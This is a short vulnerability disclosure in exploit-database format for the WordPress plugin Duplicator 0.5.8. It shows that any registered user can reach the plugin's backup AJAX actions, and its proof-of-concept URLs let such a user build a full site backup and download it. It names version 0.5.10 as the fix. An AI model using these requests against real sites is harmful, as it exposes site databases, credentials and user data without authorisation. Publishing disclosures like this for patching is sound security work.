WordPress Plugin Duplicator 0.5.8 - Privilege Escalation

# Exploit Title: Duplicator 0.5.8 Privilege Escalation
# Date: 21-11-2014
# Software Link: https://wordpress.org/plugins/duplicator/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

Every registered user can create and download backup files.

File: duplicator\duplicator.php
add_action('wp_ajax_duplicator_package_scan',		'duplicator_package_scan');
add_action('wp_ajax_duplicator_package_build',		'duplicator_package_build');
add_action('wp_ajax_duplicator_package_delete',		'duplicator_package_delete');
add_action('wp_ajax_duplicator_package_report',		'duplicator_package_report');

http://security.szurek.pl/duplicator-058-privilege-escalation.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then start scan:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_scan

After that you can build backup:

http://wordpress-url/wp-admin/admin-ajax.php?action=duplicator_package_build

This function will return json with backup name inside File key.

You can download backup using:

http://wordpress-url/wp-snapshots/%file_name_from_json%

3. Solution:

Update to version 0.5.10